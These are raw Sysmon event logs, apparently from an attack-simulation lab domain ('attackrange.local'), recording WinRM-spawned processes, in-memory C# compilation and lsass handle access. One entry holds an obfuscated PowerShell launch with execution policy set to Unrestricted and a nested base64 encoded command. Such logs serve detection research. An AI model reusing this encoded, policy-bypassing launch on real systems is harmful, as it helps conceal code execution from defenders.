09:10:29.006{A5F018FF-2904-5F80-A500-000000007F01}4676612C:\Windows\system32\WinrsHost.exe{A5F018FF-2905-5F80-A700-000000007F01}1172C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000003303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.018{A5F018FF-2905-5F80-A700-000000007F01}1172C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000003302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BF-5F80-1300-000000007F01}12642256C:\Windows\system32\svchost.exe{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000003298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.990{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:30.787{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\lk5ijirf\lk5ijirf.dll2020-10-09 09:10:30.693 10341000x80000000000000003448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2906-5F80-AF00-000000007F01}3016C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2906-5F80-AF00-000000007F01}3016C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.771{A5F018FF-2906-5F80-AE00-000000007F01}6483080C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2906-5F80-AF00-000000007F01}3016C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.780{A5F018FF-2906-5F80-AF00-000000007F01}3016C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES32C3.tmp" "c:\Users\Administrator\AppData\Local\Temp\lk5ijirf\CSC4845EFDA9AA84966B2736D3BAEA3A68A.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2906-5F80-AE00-000000007F01}648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths 